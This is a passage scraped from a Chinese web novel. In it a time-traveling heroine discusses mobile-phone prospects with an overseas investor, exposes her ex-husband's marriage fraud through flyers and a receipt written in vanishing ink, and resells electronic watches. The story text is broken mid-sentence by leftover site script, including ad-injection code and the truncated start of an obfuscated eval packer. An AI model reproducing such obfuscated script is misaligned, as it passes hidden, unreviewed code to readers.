但是一直没有一个确定的答案,现在见到真人了,林沐瑶忍不住现场吃起瓜来。 “嗯。” 杨志彬淡淡地回了句。 淡淡的神情,淡淡的语气,并没有打消林沐瑶吃瓜的热情,她好奇地问:“杨同志,你打算在安平县投资建厂吗?打算建什么厂?” 她真的很好奇,顺便看看有没有挣钱机会,于是眼睛盯着杨志彬神情淡淡的脸,等待他的回话。 21. 罗森的天塌了 杨志彬被林沐瑶直白而热切的目光盯着,突然有些不自在。 他在漂亮国虽然因为肤色问题,受到排挤,但是他家庭富裕,外貌也算出众,所以很受一些女孩的喜欢,有亚裔,有白人,也有黑人。 但这些女孩眼睛里充满了对他满满的欲念,不像林沐瑶,她的眼神就是单纯的好奇,他眼睫微动,神情柔和了一些。 虽然有好感,但涉及到商业机密,他回话时候,还是做了保留,“目前还没有确定。” 林沐瑶有些失望,但也知道她跟人家没交情,人家不跟她说实话,也是人之常情,她收拾情绪,微笑着说:“如果确定了,记得告诉我啊。” “嗯。” 杨志彬再次嗯了一声。 林沐瑶神情再次僵硬,这让她怎么接话,车里的空气瞬间安静了下来,好在这个时候医院到了,司机停车后下车,再打开后车门,“林同志,医院到了。” 林沐瑶笑着感谢:“谢谢。” 她起身下车,脚刚站到地上,杨志彬便也来到了她的身边,她惊讶地看了他一眼,他们一起下车,她刚站稳呢,他就过来了,他的速度怎么这么快。 他脸上还是鲜有表情起伏,看着她,说道:“林同志,我送你进去。” 林沐瑶没拒绝,“好。” 虱子多了不怕痒,反正已经承了他这么多情了。 到了医院,杨志彬帮忙挂了号,又送林沐瑶去包扎,好在伤口虽然看着厉害,但伤并不重,缝合了几针后,上药包扎,定期换药就好。 医生还再次嘱咐道:“伤口尽量不要碰水,不要吃辛辣刺激生冷食物。” 林沐瑶感激道谢,“谢谢医生。” 等从医生办公室出来,她又跟杨志彬道谢,“谢谢杨同志送我来医院,医药费我拿给你。” 杨志彬却道:“不用,我们是同乡,互相帮助是应该的。” 医药费也就三块钱,他们杨家每年都会做慈善,捐出去的钱都是百万起步,这三块钱都不够买他平常喝的一杯水。 林沐瑶看他的神色,知道他是无论如何都不会要钱了,便笑着道:“不知杨同志可有空,赏脸吃顿便饭。” 杨志彬摇了摇头,“抱歉!” 林沐瑶只能作罢,但还是从兜里数出20块钱,递给他,“上次在安平县,我差点撞到您的车,您的朋友不仅不怪我,还给了我20块钱,我受之有愧,您帮我还给他。” 杨志彬不接,“他不会收的。” 林沐瑶坚持要给,“我不能他不收,就不还了,这是原则问题。” 杨志彬还是不收,眉头微蹙道:“你自己给他吧。” 然后又问:“你住哪儿,我送你回去。” 林沐瑶说了一个地址,杨志彬点了点头,把她送上车后,自己也上了车后,跟司机说了一个地址,“送林同志去旅馆。” 这位杨同志可是大佬,在回去的路上,林沐瑶绞尽脑汁地找话题跟他聊天,向上结交总不能让大佬对你热情。 终于让她想起了一个话题,“杨同志,你从漂亮国回国投资,是看中国内的经济形势吗?” 这个话题她比较擅长,从后世穿越而来,她就算不特意去了解,也会知道华国的经济走势,所以这个话题,她这个菜鸟能够跟大佬聊上几句。 杨志彬虽然表情很淡,一副生人勿近的样子,但却是有话必应,他语气还是没有起伏地回答道:“华国人口多,市场大,重要的是政府有心搞经济。” 林沐瑶笑了,又问:“杨总可有想过以后什么行业最有前景?” 杨志彬:“科技行业。” 林沐瑶对他比了一个大拇指,“有眼光,但科技行业太笼统了,我私心以为通讯行业潜力巨大。” 杨志彬惊讶了,他其实也看上了通讯行业的发展前景,华国的电话目前还是人工转接,可漂亮国那边早就是自动转接,另外还有了手提电话,华国这边的通讯行业还很落后,完全有可为。 但他没有想到林沐瑶这么一个农村姑娘,竟然也有如此卓绝的商业眼光,看她的目光有了波动,然后轻启薄唇,道:“愿闻其详。” 林沐瑶把他刚才的想法说了,“人工转接速度慢,隐私性能不好,自动转接就方便多了,快速又能保护用户的隐私,另外我在电影里看到香江甚至国外,都用上了手提电话,我觉得手提电话的性能还有能提高,体积重量能够再改轻,改小,功能也能再增加一些,除了接打电话,还能够发文字信息等等。” 她没说更多的功能,她现在的话已经超出了她目前身份的认知,多说对她无益。 杨志彬看林沐瑶的目光更加郑重了,他回国也有些日子了,也遇见了不少人,有干部、有商人,有学者,他们不是问他要投资,就是跟他讲什么情怀,林沐瑶是第一个跟他说未来发展方向的人,而且还言之有物。 他终于不再是淡淡的表情了,他好奇地问:“把手提电话的体积和重量减小,我能理解,但发文字信息,有些疑问,请林同志详细说说。” 林沐瑶等的就是这句话,她把用手机发短信的功能说了一遍,另外又说道:“其实还可以在发短信的功能上再加上一条,可以发照片。” 杨志彬把这话记下,打算回头再想想,如果真能研究出来,那可是跨时代的技术,肯定能够让杨家更上一层楼。 说话间,林沐瑶所住的旅馆到了,司机停车,然后跑步过来给林沐瑶开车门,林沐瑶小心下车,杨志彬提着林沐瑶的旅行包下车。 他好奇地问:“你买这么多电子表干什么?” 真是大少爷不知人间疾苦,林沐瑶也没有瞒着,“背回安平挣差价啊。” 杨志彬看了眼那一包电子表,这么一包才能挣几个钱,虽然如此想,但也没有说出来,而是看了眼林沐瑶瘦削干瘦的身板,心里头想着等回头在安平县投资建厂时,给这姑娘一个机会,为他们几次三番遇到的缘分,也欣赏这姑娘自强自立的劲头,这才决定帮她一把。 不过他没说,反而嘱咐道:“独身在外,注意安全。” 林沐瑶感激道谢后,又问:“上次给我钱的那位同志叫什么?” “季晖。” 杨志彬回道。 林沐瑶已经习惯了他的淡表情,笑着道:“见了季同志,麻烦杨同志代我跟她道谢。” “嗯。” 杨志彬再次回了一个字。 等他离开后,林沐瑶用没受伤的胳膊提着旅行包,打算回房间休息,然后就被一个公安同志拦住了,“请问,你是林沐瑶同志吗?” 不做亏心事,自然不怕公安,她点了点头,“我是,请问有什么事吗?” 公安同志公事公办地回道:“今天有人抢你包,并且用刀划伤了你,人已经被送进公安局,我们需要你去做份笔录。” 原来是这事,林沐瑶自然不会推辞,但是看了看手里的旅行包,说道:“我能把包放房间吗?” 公安同志却拒绝了,“这就是被抢的包吧,最好带着。” 林沐瑶自然不会拒绝,她提着包跟在公安同志后面,坐上摩托三轮车,往公安局而去。 到了公安局,也只是例行问话,而她也从公安同志口中得知,这次歹徒抢劫她,纯粹是意外。 她去买电子表的时候,被歹徒注意到了,她身上有钱,再加上是独自一个人,他手头又紧,便起了歹意。 林沐瑶无语,所以她有钱,她弱,她就该被人欺负吗? 等她离开的时候,公安同志又叮嘱道:“同志,出门在外,要注意安全,财不露白。” 林沐瑶领情,“谢谢公安同志提醒,我会注意的。” 从公安局出来,她直接回了旅馆休息,在批发市场闹腾了这么一通,她累得够呛,得回去好好休息。 不过回去之后,她先去外面吃了点东西,这才回旅馆休息,洗漱后躺床上,一觉到天亮,天亮后,她洗了把脸,穿好衣服,然后又出去吃早饭,这才坐车去百货大楼找罗森,没想到刚到百货大楼,就看到罗森站在门口。 有了上一次的经验,罗森有了经验,他今天早早地来到单位门口等人,就是怕林沐瑶来了之后胡说八道坏他名声。 等他看到林沐瑶,便直接走过去,道:“跟我来。” 还没有拿到手钱,她乖乖地跟着过去,到了上次的那个地方,她小手一伸,“钱呢?” 罗森把钱掏出来道:“你先写收条。” 这个没问题,林沐瑶从兜里拿出了纸和笔,再次模仿原主的字迹把收条写了,但没有立刻递给罗森,下巴一抬道:“你先把钱给我,等我数清楚钱不少,便把收条递还给你。” 罗森黑脸,“你真是一点信任都不给我了。” 回答他的是林沐瑶的大白眼,“自己什么德行,自己不清楚吗?” 罗森气得嘴上的燎泡开始疼了起来,自从林沐瑶来找他后,他就着急上火,嘴里口腔溃疡,嘴唇还起了燎泡,喝水说话都困难。 但林沐瑶会心疼他吗,他受的苦跟原主比起来,才哪儿到哪儿啊。 她接过钱,仔细 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地数了数,钱数够,这才把收条给罗森,罗森把收条收好了,又问:“你什么时候回去?” 林沐瑶反问:“怎么?你要给我买火车票?” 罗森脸一沉,嘲讽道:“你现在眼里除了钱,还能看到什么?” 林沐瑶微微一笑,“还能看到你这么个人渣。” 罗森白皙的脸再次被气红了,骂道:“你不可理喻!” 然后又警告道:“赶紧回安平县,海城不是你能呆的地方?” “海城是华国的海城,我是华国公民,怎么就不能呆了?” 林沐瑶反唇相讥。 罗森冷哼一声,“牙尖嘴利!” 然后甩手走人,他怕自己会被林沐瑶气死,但走之前,他还是警告道:“钱也还给你了,咱们两不相欠,如果你再搞幺蛾子,别怪我手狠。” 林沐瑶嘴上敷衍了一句,“知道了。” 手里美滋滋地看着自己的包,里面有钱了呢,等她把这些钱换成了电子表,回去钱就能够翻倍了。 不过这之前,她得把罗森骗婚的罪证邮递给罗森的领导,至于说为什么不直接给,她在海城人生地不熟的,还是不要去惹罗森这样的坐地户了,兔子急了还咬人呢,如果把人惹毛了,她能不能安全回到安平县都是问题。 把资料塞进邮局前面的邮筒,然后又去了电器批发市场,再次找到那个老板,批发了一百只电子表。 然后又去服装批发市场,批发了一批毛线,这才回到旅社,先是休息了会儿,然后又去了海城大学找靳嘉。 靳嘉看到她手上缠着绷带,关心地问:“你的胳膊怎么了?谁划伤了?是不是罗森?” 说到最后她小脸儿都气红了,而且对罗森的称呼都直呼其名了,可见她对罗森早就没有了对师兄的尊敬。 林沐瑶摇了摇头,“不是,是被小蟊贼伤的。” 靳嘉赶紧又问:“去医院看了吗?医生怎么说?” “医生说没事。” 林沐瑶笑着安慰,“按时上药就好。” 靳嘉这才放心,然后才问:“你找我有什么事?你说的文章我刚写了个开头,你要不要看看?” 林沐瑶摇了摇头,“文章我就不看了,我来找你就是先跟你说,我马上就要离开海城回老家了,你要是有问题需要咨询我,可以给我写信,我待会儿把老家地址写给你。” 靳嘉有些不舍,“这就要走啊?” 林沐瑶笑了笑,“海城毕竟不是我的家。” 闻言,靳嘉也不好挽留,俩人说了一会儿话,这才分开。 而离开后,林沐瑶回到旅馆,拿了行李,退了房,拦了一辆三轮车去火车站,在路上,她看着眼前努力蹬车的师傅,问:“师傅,我这里有个零活,只用半天时间,就能挣五块钱,你做吗?” 师傅立刻回道:“什么零活?” 林沐瑶从旅行包里拿出了一沓传单,回道:“就是把这些传单派发了,就在百货大楼和xx弄堂发。” 师傅停下车,看了看传单,问:“这个人得罪你了?” 林沐瑶苦笑一声,“我就是传单上被抛弃的那个农村女孩。” 师傅同情地看了她一眼,道:“你放心,我肯定会帮你发完,否则我出门被车撞死。” 林沐瑶微微一笑:“我相信师傅。” 等到了火车站,她把钱和传单给了师傅,这才拎着旅行包往火车站而去。 因为海城不认识人,她没办法买到卧铺票,只买了硬座票,等上车后坐下,虽然座位两边的人,都比较和善,但座位不舒服,没多大会儿,她便开始浑身难受。 但因为这几天的奔波,再加上身体虚,虽然不舒服,很快便有些困,但又不敢睡,只能小鸡啄米一样地把头点来点去。 她旅途不舒服,但还算安稳,罗森这边因为林沐瑶离开海城,心头卸下了心事,晚上睡了一个香喷喷的觉。 第二天,他洗脸刮胡子,还给脸上抹了雪花膏,但是不小心碰到了嘴上的燎泡,疼得他倒抽一口凉气,不由开始咒骂,“林五丫,这个贱人,这辈子最好老死农村,嫁一个爱打老婆的老光棍。” 骂了一通,心情好了,忍着嘴巴舌头疼吃了两根油条,喝了一碗豆浆,这才推起自行车去上班。 等他到了单位,却发现同事们看他的目光有些奇怪,他不明所以,但等他到了办公室,被领导叫过去谈话的时候,他终于知道同事们的目光为何奇怪了,天塌了,林五丫那个贱女人,竟然不守信用! 他该怎么破局? 22. 大仇得报 百货大楼的一间办公室传出来一阵怒吼,“罗森,堂堂海城大学的高材生,海城大楼的预备干部,竟然不知廉耻地骗婚,靠女人供养,吃软饭,无耻之极,我们单位的脸都被你丢尽了。” 领导吼完,抓起桌上的一沓传单砸他身上,再次怒吼:“你不丢人,我都替你丢人!” 罗森颤抖着手打开传单,上面是讨伐他的文章,说了他骗婚的过程,把牛角岭大队出具的结婚证明,还有他们往来的书信,还有汇款单的票根,也都印了上去,虽然传单体积有限,不能够把所有的书信和票根都印上去,但有几张佐证坐实他的罪名就好。 他气得脸色铁青,双手紧紧地抓住传单,手上青筋都爆起了,并且大声分辨道:“主任,这不是真的,我虽然在农村跟林沐瑶结过婚,但那也是迫不得已,是为了救她,这些年,我虽然花了她的钱,但离婚后也连本带利地还了她。” 主任的怒气缓和了少许,问:“有证据吗?” 罗森赶紧道:“有。” 他现在无比庆幸,当初让林沐瑶写下了收条,此刻可不就用上了。 主任赶紧道:“赶紧回去拿了,然后发表声明澄清。” 罗森也知道耽搁不得,否则事情传开来,他的名声彻底坏了,再洗白就不好洗了。 不过收条没带身上,他怕丢了,放在家里了,于是着急忙慌返回家里拿,等在自己房间书桌抽屉里的一个小盒子里,找到收条的时候,他傻眼了,明明写着字的收条,此刻却干干净净的,哪里有字的影子。 他怕自己找错了,赶紧又翻箱倒柜地找,可是都没有找到,此刻他还有什么不明白的,他被林沐瑶给耍了,她写收条的笔肯定有问题。 他爆怒出声,“林沐瑶,你个贱人,我跟你势不两立。” 但骂了又能如何,解决不了当前的问题。 他木愣愣地回到单位,刚走把自行车停下,“啪”的一声,脸上挨了一个巴掌,他回神一看,是赵碧云。 她此刻正红着脸,瞪着眼,等他看过来,便怒骂:“罗森,你个大骗子。” 罗森捂着脸,本就愤怒填胸的他,此刻更是怒火高涨,但最后一丝理智,让他压下了所有的怒火,脸上换上委屈的表情,“碧云,我没骗过你啊,我真地和林沐瑶没有发生过关系。” 这个赵碧云相信,但是想到传单上印的信件,那信里罗森写下的甜言蜜语,她心头的火就直冲头顶。 她气地一手拿着传单,一手拿着用手“啪啪”地敲打着传单,“你不是说你对林沐瑶没感情吗?没感情,你能称呼她我的爱人,还想把她接城里?” 说到这里,她眼睛变得通红,含着泪质问道:“罗森,你跟她写这些信的时候,我们俩已经开始处对象了,你对得起我吗?” 她爸是采购部主任,她妈是妇联主任,也是干部,她是老幺,从小也是娇生惯养,唯一的不顺心,就是去农村插队当知青。 但她到了地方,就嫁给了当地大队长的儿子,婆家对她百依百顺,又有家里爹妈给邮递的补贴,她的日子除了没有在城里方便,过得还挺滋润的。 后来她离婚回城,学习了几年,在79年考上海城大学,在学校认识了罗森,跟他相知相恋,罗森是一个很懂她的人,人前人后给足了她尊重和体贴,让她一度被人羡慕。 如今罗森骗婚,吃软饭,又忘恩负义的名声,随着传单,整个单位的人都知道了,大家看她的目光,从以前的羡慕,变成了如今的同情。 她是天之骄女,竟然让别人同情了,这让她怎么接受? 罗森赶紧指天发誓,“碧云,那些信不是真的,是林沐瑶找人模仿的。” 谎话那是脱口而出。 但他虽然说的信誓旦旦,也得赵碧云愿意相信啊,现在他在赵碧云那里的信用是负数,赵碧云没有想到事实都摆在眼前了,他还要骗她,气地抡起巴掌就扇了他一巴掌,咬牙切齿地骂道:“罗森,你当我是傻瓜,随便你糊弄吗?” 打完人,她扭身就走,她虽然是二婚,但是家世好,又有文化,离了罗森,还有大把男人随她挑,现在的罗森已经不值得她浪费任何的精力。 罗森慌忙去追,他如今名声坏了,也不好挽回,提干也甭想了,赵碧云是他最后的机会。 “碧云,你听我解释。” 他出声苦苦哀求。 赵碧云扭身,铁青着脸呵斥,“别跟着我,要不然别怪我把你工作也搅黄了。” 她要的是给挣面子的男人,不是一个带着污点,走哪儿都被指指点点的男人,罗森已然不符合要求,她再不会给他任何机会。 罗森眼睛通红地质问:“碧云,我只是做了一点事情,你非要这么绝情吗?” “罗森,你配跟我说这话吗?” 赵碧云冷冷质问后,又道:“记得把借我的钱还了,忘记你现在没钱了,那就从你工资里扣,直到扣完为止。” 说完也不搭理罗森,转身就回了办公室,她爱得起也放得下,如今她还挺同情林沐瑶的,累死累活地养了罗森这么个不是东西的玩意儿。 “就是他,为了逃避劳动,骗女同志结婚供养他,他倒好,大学一毕业,就过河拆桥离婚,渣男!” “传单说的对极了,罗森就是渣男!” 单位里上了点年纪的人还好,虽然看不起罗森,但也不会当面议论他,但是年轻人,特别是年轻女同志,看到罗森就厌恶地皱眉头不说,还指指点点地骂人。 罗森尴尬又难堪,但更让他心焦的是领导那边如何交差,虽然没有办法,但还是走进了领导的办公室,耷拉着眉眼,有气无力地道:“主任,收条丢了。” 主任一言难尽,训斥道:“这么重要的东西,怎么就丢了,你还是三岁小孩子们,连东西都收不好。” 罗森低头,他怎好说他被林沐瑶给算计了,他怎么也不会想到,以前那个胆小懦弱的女孩儿,竟然会在笔上耍花招。 主任烦躁得厉害,很快就又提议道:“成了,既然没有证据,你只能去联系你前妻,让她帮你澄清。” 罗森苦笑一声,“这传单就是她发的,她不会帮我的。” 主任也没辙了,烦躁地在椅子上动了动屁股后,没好气地道:“那你的提干机会没了,而且宣传科也用不到你了,你去看仓库吧。” 罗森哀求,“主任,这件事我有错,但也没有严重到处罚这么严重吧?” 去了仓库,几乎就阻断了他的升迁之路,除非有特别机遇,否则他一辈子都是普通职工。 主任拧眉,“你以为我想,这是领导们开会商量的。” 罗森知道结果没有办法更改了,内心将林沐瑶拉出来又咒骂了一通,如果林沐瑶此刻现在他面前,他肯定会把他撕扯成碎片。 可山高路远,他现在哪里分的开身,去安平县找林沐瑶算账呢,如果再给他一个重头来过的机会,他一定不会去招惹林沐瑶。 更绝的是等他走出领导办公室,竟然遇到了他的死对头蒋超,他斜着眼看了他一眼,然后跟身旁的人,说:“没想到罗同志,让我们认识了一个新词,渣男,啧啧啧,形容太到位了。” 罗森敢怒不敢言,他如今在单位里就是那过街的老鼠,人人喊打,他不开口还罢了,一开口,就会成为单位里集体口诛笔伐的对象。 他憋着气上了一上午的班,等中午下班回家,又接受了街坊邻居的大白眼攻击,“没想到长得人模狗样的,居然骗婚让女人养,不要脸。” “比小白脸还要无耻,小白脸正大光明吃软饭,他却是骗人。” 罗森吸取在单位的教训回到家,本来还想问怎么回事,但他老妈直接丢给他一份传单,这传单跟在他单位那边发的一模一样。 “林沐瑶,我跟你势不两立!” 他咬牙切齿地骂。 这是要彻底毁了他啊,让他在工作单位举步维艰还不算,竟然还让他在住处也活在街坊邻居的白眼当中,这是不给他活路了。 林沐瑶当然不会给他活路,比起原主受的苦,这才到哪儿,原主是被他骗得差点过劳死,后来更是被他的绝情伤心死,承受着身体和精神上的双重折磨,他拿什么还? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“批发价6块5,至少能卖15块,来钱快,支书爷爷,我一个人肯定护不住,您可得让守卫叔和春花婶帮我。” 支书和李萍也暗自在心里头算了算账,心头开始跳了起来,这也太挣钱了,李萍声音发飘地问:“这么挣钱,不会有事吧?” 林沐瑶安慰道:“不会的,我这是在海城批发市场拿的货,价格也是按照市场价格卖的,能有啥事?” 李萍一拍大腿,激动道:“这生意要是能够长期做,该有多挣钱,用不了多久就能成万元户了。” 说到最后她一脸的梦幻。 林沐瑶怕她期望太高,赶紧给她泼冷水,“李奶奶,这电子表耐用,买了能用好久,咱们安平县也就这么多人,再加上跟风做买卖的,这生意咱们做不了多久。” 李萍不在意地道:“就算能做一两回,那也比在土里刨食挣得多。” 支书在一旁沉默了许久后,开口:“瑶丫头,你有心拉拔你守卫叔两口子,我们领你这个情,但是本钱我们自己出,亏了,挣了,你都不用担责任。” 王春花赶紧做保证,“瑶丫头放心,我和你守卫叔不是那糊涂人,知道你一心为我们好,才拉我们入伙,放心,无论挣钱还是亏钱,我和你守卫叔都领你的情。” 林守卫赶紧附和,“对,你婶子说的对。” 也就是相信支书一家的人品,她才愿意拉他们入伙,如今他们这么说,林沐瑶心底自然更加熨帖。 但这一次带回来的两百只电子表,支书一家只管帮忙,不分钱。 电子表样式洋气,一带到县城,就受到了顾客们的热捧,两天的时间几乎就把电子表给卖完了。 林沐瑶美滋滋地数着手里的钱,打算再次去趟海城,这次她不仅要批发电子表,还要批发衣裳,本钱多了,她多进点货,争取把手里的钱再翻倍,她还想开火腿肠厂子呢。 不过这次去海城,她打算把林守卫带上,她要吸取上次被抢的经历。 而就在她踌躇满志再次准备去海城的时候,杨志彬也收到了安平县领导的电话,电话里初步谈妥了投资意向。 杨志彬放下电话,想起了林沐瑶,他当初还想着投资办厂后,就帮一把她呢,从哪方面帮呢? 23. 泼天富贵 林沐瑶决定去海城之后,便去找林守卫,问:“守卫叔,电子表卖完了,我要去海城批货,你跟我一起去吧?” 林守卫踌躇道:“我,我没去过那么远的地方。” 他虽然是个大老爷们,但活了近三十年,最远也就去过北城市,他日常活动范围也就这十里八村,最多再加上一个安平县城,对于遥远和陌生的海城,他天然地生出一种敬畏。 林沐瑶却鼓励道:“正因为没有去过才更要去,一辈子窝在老家,等老了走不动了,该有多遗憾。” 林守卫还是犹豫不决,“可,可我去了,又帮不到你。” 一个大老爷们扭扭捏捏的,王春花都看不下去了,她一个胳膊肘就怼上了他的胳膊,“你不去,我去,海城的人又不是大老虎会吃人,有啥可怕的。” 她本来还想说林沐瑶一个年轻姑娘,都能够孤身一人囫囵地从海城回来,他一个糙老爷们怕啥。 但话到嘴边咽了下去,她得给自己男人留面子,林守卫被她说得神色特别尴尬,又有些羞愧,他一个大老爷们,还不如妻子有魄力。 他咬牙道:“我去。” 林沐瑶笑了,“我回头请方哥帮忙买两张去海城的卧铺票。” 这次从海城回来,她给方正送了几块电子表,让他拿给家里的孩子,方正做了几年生意,人脉也广,不缺这些小玩意,但是很喜欢被人记挂的感觉。 林沐瑶也曾经问:“方哥,既然倒买倒卖这些小玩意这么挣钱,你怎么不做这行?” 反正她不相信方正不知道批发这些玩意回来卖挣钱。 方正笑了笑,回道:“这玩意需要长期往返,你嫂子身体不好,家里孩子还小,我走不开。” 林沐瑶肃然起敬,没有想到方正竟然是一个顾家的男人,别说现在,就是到了后世都难寻。 不过方正却很是佩服林沐瑶的敢想敢做,他竖了一个大拇指,“大妹子,在安平县我很少有佩服的人,你算一个。” 他的话是真心的,一个农村姑娘孤身一人出来闯荡,关键还是干啥成啥,比大多数男人都强。 林沐瑶微笑,虽然搞事业是为了自己,但是能够换来别人的任何,她还是很高兴的。 这次方正听说她又要去海城,不等她提起就主动说要帮忙买卧铺票,林沐瑶感激道谢后,又问:“方哥,需要捎带东西吗?” 方哥也没有客气,说道:“回头我给你写一个单子。” 一听就知道要捎带的东西不少,但林沐瑶没有拒绝,爽快答应道:“好。” 跟方哥说好后,林沐瑶回了牛角岭大队,刚到家,就有社员来家里送织好的围脖,一共有五个人,一个人送了1条,她一个人付5毛钱的辛苦费。 这是她们这一天半的时间里,在干地里活,干家务之余织的,竟然真挣了5毛钱,虽然不多,但就算一天一条,一个月也有十五块钱呢。 几个社员都非常满意,拿着钱不住口地保证,“我们一定好好干活,绝对不偷懒,瑶丫头,你以后要是找人干活,记得找我们,我们有一身的力气。” 林沐瑶微笑着夸赞,“几位嫂子干活认真细致,有活当然要首先找考虑你们。” 几位社员高高兴兴地走了,林沐瑶则看着几条围巾微笑,一条围巾三两左右的毛线,加上手工费和路费,成本6块左右,但卖的话至少能卖10块,挣四块钱左右,她批发的毛线不少,这些要是能够卖出去,至少也能挣几百块。 果然应了那句话,万事开头难,等过了最开始原始资本的积累时期,后续搞钱就容易多了。 她高兴地把围脖放好,自己则去收拾了明天出发去海城的行李,再去洗漱了一番,最后躺在炕上新做的棉花被褥上,闻着被褥上阳光的味道,幸福地闭上了眼睛, 第二天去城里,是支书赶着骡车送他们,到了火车站,他不放心地嘱咐,“瑶丫头,甭看你守卫叔一把年纪了,但没经过事儿,在路上你甭顾忌他辈分,该使唤就使唤,在路上,大的主意你来拿。” 林沐瑶看了眼尴尬的林守卫,笑着道:“上次我一个人去海城,心里头空落落的,这次有守卫叔跟着,我心头甭提多踏实了。” 林守卫尴尬羞恼的神色缓和了不少,他不是啥用都没有的废物,最起码能给瑶丫头壮胆。 而支书虽然嘴上埋汰自己儿子,但谁又愿意儿子没出息,林沐瑶很好地他儿子找了台阶,他看林沐瑶的目光更加温和了。 不免又嘱咐道:“出门在外,不比家里头,有事能忍就忍,钱没了还能挣,人最重要。” 林沐瑶乖巧答应,“我知道了,支书爷爷。” 火车站的广播员正在广播催促去海城的旅客,她和林守卫赶紧跟支书告别,拎着行李上了车。 等他们检票进去后,火车站出口出来一行西装革履的人,最前面的就是杨志彬和季晖,他们从海城回来了。 这次回来就是谈收回杨家大院的事情,以及在安平县投资建厂的事,安平县地处华北,土地肥沃,交通便利,人口也多,他打算投建纺织厂。 安平县虽然也有纺织厂,但生产的都是以前的棉布之类的,杨志彬回来投资的纺织厂可是生产现在时兴的面料牛仔布料。 现在的牛仔衣服可受欢迎了,简直就是有价无市,只要能够生产出来,肯定能够带动安平县的经济。 他们一行人刚走出火车站出站口,安平县的领导班子便过来迎接了,其中县长笑意吟吟地上前表示欢迎,“杨先生,欢迎回到安平县。” 杨志彬伸手回握,脸上带上一点温和地道:“我是安平县人,能够回来投资建设家乡,深感荣幸!” 姬县长松了口气,只要人愿意投资就好,话说当初杨志彬提出收回曾经的杨家大院,作为投资建厂的条件。 他们当初没有答应,杨家大院可是住着几十上百户人家,如果把杨家大院还回去,这些人的安置就是个大问题,虽然杨志彬说了会出钱安置,但领导班子还是有许多人不愿意大动干戈,所以投资建厂的事便搁置了。 现在经过领导班子的协商,以及跟杨家大院现在的住户协商,最终还是答应了把杨家大院还给杨家。 杨家大院虽然占地面积不小,但是承建于民国时期,作为文物的资格还不够,这也是他们顺畅地还给杨家的一个理由。 姬县长带着安平县的领导班子把杨志彬一行,领回了办公大楼,再进行新一轮的谈判,这么一谈就是两个多小时。 等从会议室出来,杨志彬捏了捏鼻梁,缓解了下疲惫,带着季晖出门坐车准备回酒店,坐在车里,透过车窗看到路边卖水果的摊贩,他突然间想起了林沐瑶,扭头看向季晖,说道:“季晖,等休息过后,记得去找一找林同志,我答应过她,如果在安平县投资建厂的方向定了,就马上告诉她。” 季晖有些纳闷,“你什么时候关注这些小事了?” 杨志彬淡淡道:“我只是信守承诺罢了。” 这话季晖无法反驳,杨志彬是一个信守承诺的人,他感叹道:“放在漂亮国,林同志这样的,就是贫民窟的人,跟我们不可能有交集的,没成想在华国,我们和她竟然成了朋友,真是太不可思议了。” 杨志彬没说话,但他并不觉得奇怪,华国阶层界限不分明,而且社会风气纯朴,发生一些奇迹并不奇怪。 只是等季晖去火车站那边打听的时候,却打听到林沐瑶去了海城,他失望而归,见到杨志彬,感慨道:“林同志真是太拼了,她才从海城回来多久,连休息都没休息好,就又出发去批发货物回来挣差价了。” 杨志彬想起林沐瑶那干瘦的身板,他眉头微拧,脸上罕见地有了一抹不赞同,虽然挣钱重要,但是身体更加重要,林沐瑶这么做,有些得不偿失了。 安平县的一切林沐瑶都不清楚,她和林守卫再次平平安安地坐了二十多个小时的火车,到了海城。 她还是选择了上次的那个旅馆,定了两个房间,她一间,林守卫一间,林守卫没有马上去自己的房间,而是选择先是把林沐瑶送回房间。 等到了房间,把行李放下,他不由感慨,“海城的楼房真高 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不过在这之前,她还是要带林守卫去吃点东西,她走到林守卫的房间门口,敲了敲门:“守卫叔,好了没?咱们出去吃点东西。” “好了。” 林守卫声音响起的时候,门已经打开,林守卫已经换了一身干净衣裳,说道:“走吧。” 等到了餐馆,看着餐馆菜单上的价格,他就犹豫了,“这也太贵了。” 最后还是只点了两碗阳春面。 林沐瑶看不过去,帮忙点了两份生煎,其实她还想点两份肉菜的,但是怕林守卫心疼得晚上睡不着觉,这才放弃。 吃饭的空挡,她又问:“守卫叔,你可有什么安排?” “我想回旅馆睡觉。” 林守卫回道。 出门在外,干啥都得掏钱,还是回去睡觉吧,睡觉不用花钱。 林沐瑶没有强求,而是跟他说了自己的安排,“我打算去海城大学看一个朋友,一会儿就回来。” “我跟你一块去吧。” 林守卫赶紧道。 林沐瑶摇了摇头,“不用,那是一位女同志,你去不方便。” 她没送林守卫回旅馆,吃过饭后俩人分开,一个人回旅馆,一个人去海城大学。 靳嘉对于林沐瑶这么快又来海城,既惊讶又惊喜,好奇地问:“你来海城有事?” 林沐瑶把自己批发电子表回去卖钱的事说了,靳嘉看她自强自立,努力拼搏事业也非常敬佩,但倒买倒卖终究不是长久之道,她忍不住劝道:“倒买倒卖没有技术含量,不是长久之计,你有时间还是多学点东西好。” 林沐瑶领情,笑着道:“我也有这个打算,但学习也得等我财务自由后,书上不是说仓廪足而知荣辱吗?” 靳嘉笑了笑,道:“听你说话,看不出来你没正经上过学。” 林沐瑶微微一笑,“只要想学,处处都是课堂。” 很快俩人又说起了罗森最近的状态,靳嘉先说了罗森在学校的状况,“同学们提起他,都会说一句,知人知面不知心,虽然明面上没去讨伐他,但都在心里头跟他默默地跟他划清界限。” 林沐瑶轻嗤一声,“活该!” 然后靳嘉又说了罗森在单位的窘迫,林沐瑶心里的恶气总算出了一部分,然后又问起了靳嘉的书。 靳嘉羞愧道:“我笔力有限,到现在还只写了一个开头。” 林沐瑶安慰道:“好饭不怕晚,这事不必着急,本来写作就是一件慢工出细活的事儿。” 俩人说了会儿话,最后离开的时候,林沐瑶把礼物送给靳嘉,把靳嘉感动得眼泪汪汪的,心里发誓一定要把书写好,给林沐瑶出气。 林沐瑶从海城大学离开直接回了旅馆,美美地睡了一觉,醒来便带着林守卫去了批发市场,因为这次要货多,在原来的价格上又便宜了5毛钱。 林沐瑶喜滋滋地算着这次回去能挣多少钱,殊不知老家那边还有一场泼天富贵等着她呢。 24. 林沐瑶立威 林守卫提着蛇皮袋,心中忐忑得很,他来时候可是把家里的钱全带来了,就换来了蛇皮袋里的电子表,如果亏了,他和孩子娘半生的辛苦都白费了。 